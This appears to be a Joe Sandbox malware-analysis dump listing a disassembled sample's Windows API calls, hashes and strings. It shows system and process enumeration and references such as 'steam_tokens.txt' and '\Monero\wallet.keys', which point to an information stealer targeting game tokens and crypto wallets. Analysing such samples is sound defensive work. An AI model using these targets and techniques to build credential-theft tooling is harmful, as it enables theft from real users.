Part of subcall function 00D88100: RtlAllocateHeap.NTDLL(00000000), ref: 00D88137
Part of subcall function 00D88100: GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 00D88158
Part of subcall function 00D88100: __aulldiv.LIBCMT ref: 00D88172
Part of subcall function 00D88100: __aulldiv.LIBCMT ref: 00D88180
Part of subcall function 00D88100: wsprintfA.USER32 ref: 00D881AC

Part of subcall function 00D887C0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00D90E28,00000000,?), ref: 00D8882F
Part of subcall function 00D887C0: RtlAllocateHeap.NTDLL(00000000), ref: 00D88836
Part of subcall function 00D887C0: wsprintfA.USER32 ref: 00D88850

Part of subcall function 00D88320: RegOpenKeyExA.KERNEL32(00000000,01B0B5D0,00000000,00020019,00000000,00D905B6), ref: 00D883A4

Part of subcall function 00D88320: RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00D88426
Part of subcall function 00D88320: wsprintfA.USER32 ref: 00D88459
Part of subcall function 00D88320: RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 00D8847B
Part of subcall function 00D88320: RegCloseKey.ADVAPI32(00000000), ref: 00D8848C
Part of subcall function 00D88320: RegCloseKey.ADVAPI32(00000000), ref: 00D88499

Part of subcall function 00D88680: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,00D905B7), ref: 00D886CA
Part of subcall function 00D88680: Process32First.KERNEL32(?,00000128), ref: 00D886DE
Part of subcall function 00D88680: Process32Next.KERNEL32(?,00000128), ref: 00D886F3
Part of subcall function 00D88680: CloseHandle.KERNEL32(?), ref: 00D88761

lstrlen.KERNEL32(00000000,00000000,?,00000000,00000000,?,00000000,?,00000000,00000000,00000000), ref: 00D8265B

Memory Dump Source

Source File: 00000004.00000002.1531626316.0000000000D71000.00000040.00000001.01000000.00000004.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000004.00000002.1531605030.0000000000D70000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DCA000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DF5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DF8000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DFF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E02000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E21000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E2D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E52000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E5F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E7F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E8B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E8E000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F15000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F35000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F3B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000000FCE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001154000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001230000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001252000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.000000000125A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001268000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532250011.0000000001269000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532364392.0000000001402000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532383973.0000000001403000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_d70000_file.jbxd

Yara matches

Similarity

API ID: Heap$Process$Allocate$Closewsprintf$NameOpenlstrcpy$InformationLocal$CurrentHandleInfoKeyboardLayoutListLocaleProcess32StatusSystemTimeUser__aulldivlstrcatlstrlen$AllocComputerCreateDefaultDirectoryEnumErrorFileFirstFreeGlobalLastLogicalMemoryModuleNextPowerProcessorQuerySnapshotToolhelp32ValueVolumeWindowsWow64Zone
String ID:
API String ID: 3113730047-0
Opcode ID: fc7afe620b5c7ad9234720d7f6d5676f6f9aca6938cf1d8e5fa745d208d409a1
Instruction ID: 64dd696c41b8aefbc55d578b1b5d8240d4e03779c909f02c6ddadea56a059bc8
Opcode Fuzzy Hash: fc7afe620b5c7ad9234720d7f6d5676f6f9aca6938cf1d8e5fa745d208d409a1
Instruction Fuzzy Hash: A4722A72814118AAEB19FB94DC92DEEB37CEF54300F5142AAB51662051EF343B4ACF76

Function 00D76D40 Relevance: 3.2, APIs: 2, Instructions: 157COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1531626316.0000000000D71000.00000040.00000001.01000000.00000004.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000004.00000002.1531605030.0000000000D70000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DCA000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DF5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DF8000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DFF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E02000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E21000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E2D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E52000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E5F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E7F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E8B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E8E000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F15000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F35000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F3B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000000FCE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001154000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001230000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001252000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.000000000125A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001268000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532250011.0000000001269000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532364392.0000000001402000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532383973.0000000001403000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_d70000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 63a1c4e17d58eb8e2329eb8c8166799d070febd1d599b89c4fe6166691f18a5e
Instruction ID: 41aa221f01aa27ad7fddfebe89c251ee80b27bcca6d9bfaf8e7e9df16af39bc2
Opcode Fuzzy Hash: 63a1c4e17d58eb8e2329eb8c8166799d070febd1d599b89c4fe6166691f18a5e
Instruction Fuzzy Hash: 3961F3B4900618EBCB14DF94E985BEEB7B0BF08304F148598E419A7281F775EE94DFA1

Function 00D85100 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 40stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00D8A740: lstrcpy.KERNEL32(00D90E17,00000000), ref: 00D8A788

Part of subcall function 00D8A820: lstrlen.KERNEL32(00D74F05,?,?,00D74F05,00D90DDE), ref: 00D8A82B
Part of subcall function 00D8A820: lstrcpy.KERNEL32(00D90DDE,00000000), ref: 00D8A885

lstrlen.KERNEL32(00000000,00000000,00D90ACA), ref: 00D8512A

Strings

steam_tokens.txt, xrefs: 00D8513F

Memory Dump Source

Source File: 00000004.00000002.1531626316.0000000000D71000.00000040.00000001.01000000.00000004.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000004.00000002.1531605030.0000000000D70000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DCA000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DF5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DF8000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DFF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E02000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E21000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E2D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E52000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E5F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E7F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E8B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E8E000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F15000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F35000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F3B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000000FCE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001154000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001230000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001252000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.000000000125A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001268000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532250011.0000000001269000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532364392.0000000001402000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532383973.0000000001403000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_d70000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen
String ID: steam_tokens.txt
API String ID: 2001356338-401951677
Opcode ID: d5078e030e079509e99089a77d2304cae797dc0f8f082fb66a2c178236bccfc3
Instruction ID: fa329415a9d5c6468eb029c861f464944de58cfacf3431a3248792f7941963ea
Opcode Fuzzy Hash: d5078e030e079509e99089a77d2304cae797dc0f8f082fb66a2c178236bccfc3
Instruction Fuzzy Hash: CDF01D719101086AEB08FBB8EC57DED773CDF54300F504259B41662492FF386609C7B2

Function 00D87ED0 Relevance: 3.0, APIs: 2, Instructions: 34COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(00D90E2C), ref: 00D87F00
wsprintfA.USER32 ref: 00D87F16

Memory Dump Source

Source File: 00000004.00000002.1531626316.0000000000D71000.00000040.00000001.01000000.00000004.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000004.00000002.1531605030.0000000000D70000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DCA000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DF5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DF8000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DFF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E02000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E21000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E2D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E52000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E5F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E7F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E8B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E8E000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F15000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F35000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F3B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000000FCE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001154000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001230000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001252000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.000000000125A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001268000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532250011.0000000001269000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532364392.0000000001402000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532383973.0000000001403000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_d70000_file.jbxd

Yara matches

Similarity

API ID: InfoSystemwsprintf
String ID:
API String ID: 2452939696-0
Opcode ID: ee82598c6ec14978d9d3327df3d21451a04be64a9218b521cf60bace4357237c
Instruction ID: 5ad43be437c73c740dc89500c03c2859ce6d57c2039d10ec345dd1a8ced707ee
Opcode Fuzzy Hash: ee82598c6ec14978d9d3327df3d21451a04be64a9218b521cf60bace4357237c
Instruction Fuzzy Hash: 92F096B1A0420CEFCB10DF95DC45FAAF7BCFB48724F100669F51592280D77569048BE1

Function 00D7B4F0 Relevance: 2.9, APIs: 2, Instructions: 397stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00D8A740: lstrcpy.KERNEL32(00D90E17,00000000), ref: 00D8A788

Part of subcall function 00D8A9B0: lstrlen.KERNEL32(?,01B08B50,?,\Monero\wallet.keys,00D90E17), ref: 00D8A9C5
Part of subcall function 00D8A9B0: lstrcpy.KERNEL32(00000000), ref: 00D8AA04
Part of subcall function 00D8A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00D8AA12

Part of subcall function 00D8A920: lstrcpy.KERNEL32(00000000,?), ref: 00D8A972
Part of subcall function 00D8A920: lstrcat.KERNEL32(00000000), ref: 00D8A982

Part of subcall function 00D8A8A0: lstrcpy.KERNEL32(?,00D90E17), ref: 00D8A905

Part of subcall function 00D8A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00D8A7E6

lstrlen.KERNEL32(00000000), ref: 00D7B9C2
lstrlen.KERNEL32(00000000), ref: 00D7B9D6

Memory Dump Source

Source File: 00000004.00000002.1531626316.0000000000D71000.00000040.00000001.01000000.00000004.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000004.00000002.1531605030.0000000000D70000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DCA000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DF5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DF8000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DFF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E02000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E21000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E2D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E52000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E5F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E7F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E8B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E8E000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F15000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F35000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F3B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000000FCE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001154000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001230000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001252000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.000000000125A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001268000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532250011.0000000001269000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532364392.0000000001402000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532383973.0000000001403000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_d70000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID:
API String ID: 2500673778-0
Opcode ID: 6c1e66f80527c52cf28c5ee2a421a731438ae1bd3886e0909049974c2f80610d
Instruction ID: 9f6ae841358dedfa673cbdb74e65f106cca2c272daed4f17513ea968aaddd86f
Opcode Fuzzy Hash: 6c1e66f80527c52cf28c5ee2a421a731438ae1bd3886e0909049974c2f80610d
Instruction Fuzzy Hash: B0E1BF729101289BEB15FBA8DC96EEE7339EF54300F40455AF50676091EF386A49CF72

Function 00D7AEF0 Relevance: 2.7, APIs: 2, Instructions: 236stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00D8A740: lstrcpy.KERNEL32(00D90E17,00000000), ref: 00D8A788

Part of subcall function 00D8A9B0: lstrlen.KERNEL32(?,01B08B50,?,\Monero\wallet.keys,00D90E17), ref: 00D8A9C5
Part of subcall function 00D8A9B0: lstrcpy.KERNEL32(00000000), ref: 00D8AA04
Part of subcall function 00D8A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00D8AA12

Part of subcall function 00D8A920: lstrcpy.KERNEL32(00000000,?), ref: 00D8A972
Part of subcall function 00D8A920: lstrcat.KERNEL32(00000000), ref: 00D8A982

Part of subcall function 00D8A8A0: lstrcpy.KERNEL32(?,00D90E17), ref: 00D8A905

lstrlen.KERNEL32(00000000), ref: 00D7B16A
lstrlen.KERNEL32(00000000), ref: 00D7B17E

Part of subcall function 00D8A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00D8A7E6

Memory Dump Source

Source File: 00000004.00000002.1531626316.0000000000D71000.00000040.00000001.01000000.00000004.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000004.00000002.1531605030.0000000000D70000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DCA000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DF5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DF8000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DFF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E02000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E21000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E2D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E52000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E5F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E7F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E8B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E8E000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F15000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F35000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F3B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000000FCE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001154000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001230000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001252000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.000000000125A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001268000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532250011.0000000001269000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532364392.0000000001402000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532383973.0000000001403000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_d70000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID:
API String ID: 2500673778-0
Opcode ID: 9900989cb3754edaea32de4122e3c14302113dba9c1c5f782244466e2546b031
Instruction ID: bb6fc54433b5e53b7068e8b45634a42cd5101561e8de7603826e72d5ad4e6f1d
Opcode Fuzzy Hash: 9900989cb3754edaea32de4122e3c14302113dba9c1c5f782244466e2546b031
Instruction Fuzzy Hash: 2691E2729101189BEF04FBA8DC96EEE7339EF54300F50415AF516A6191EF386A49CFB2

Function 00D7B230 Relevance: 2.7, APIs: 2, Instructions: 205stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00D8A740: lstrcpy.KERNEL32(00D90E17,00000000), ref: 00D8A788

Part of subcall function 00D8A9B0: lstrlen.KERNEL32(?,01B08B50,?,\Monero\wallet.keys,00D90E17), ref: 00D8A9C5
Part of subcall function 00D8A9B0: lstrcpy.KERNEL32(00000000), ref: 00D8AA04
Part of subcall function 00D8A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00D8AA12

Part of subcall function 00D8A920: lstrcpy.KERNEL32(00000000,?), ref: 00D8A972
Part of subcall function 00D8A920: lstrcat.KERNEL32(00000000), ref: 00D8A982

Part of subcall function 00D8A8A0: lstrcpy.KERNEL32(?,00D90E17), ref: 00D8A905

lstrlen.KERNEL32(00000000), ref: 00D7B42E
lstrlen.KERNEL32(00000000), ref: 00D7B442

Part of subcall function 00D8A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00D8A7E6

Memory Dump Source

Source File: 00000004.00000002.1531626316.0000000000D71000.00000040.00000001.01000000.00000004.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000004.00000002.1531605030.0000000000D70000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DCA000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DF5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DF8000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DFF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E02000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E21000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E2D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E52000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E5F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E7F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E8B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E8E000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F15000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F35000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F3B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000000FCE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001154000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001230000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001252000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.000000000125A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001268000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532250011.0000000001269000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532364392.0000000001402000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532383973.0000000001403000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_d70000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID:
API String ID: 2500673778-0
Opcode ID: fba7b22a8d1065eea3f5674358c38254be0f7cc48fdb627f51041e3a88833a8c
Instruction ID: 255d5b952479cfad69587f8cbf0c3e596d1cadc81ab548ef6c64bfb292e78fd8
Opcode Fuzzy Hash: fba7b22a8d1065eea3f5674358c38254be0f7cc48fdb627f51041e3a88833a8c
Instruction Fuzzy Hash: D571FD719101189BEB08FBA8DC96DEE7379FF54300F44456AF506A6191EF386A09CFB2

Function 00D84BB0 Relevance: 2.6, APIs: 2, Instructions: 118stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00D88DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00D88E0B

lstrcat.KERNEL32(?,00000000), ref: 00D84BEA
lstrcat.KERNEL32(?,01B0D8C8), ref: 00D84C08

Part of subcall function 00D84910: wsprintfA.USER32 ref: 00D8492C
Part of subcall function 00D84910: FindFirstFileA.KERNEL32(?,?), ref: 00D84943

Part of subcall function 00D84910: StrCmpCA.SHLWAPI(?,00D90FDC), ref: 00D84971
Part of subcall function 00D84910: StrCmpCA.SHLWAPI(?,00D90FE0), ref: 00D84987
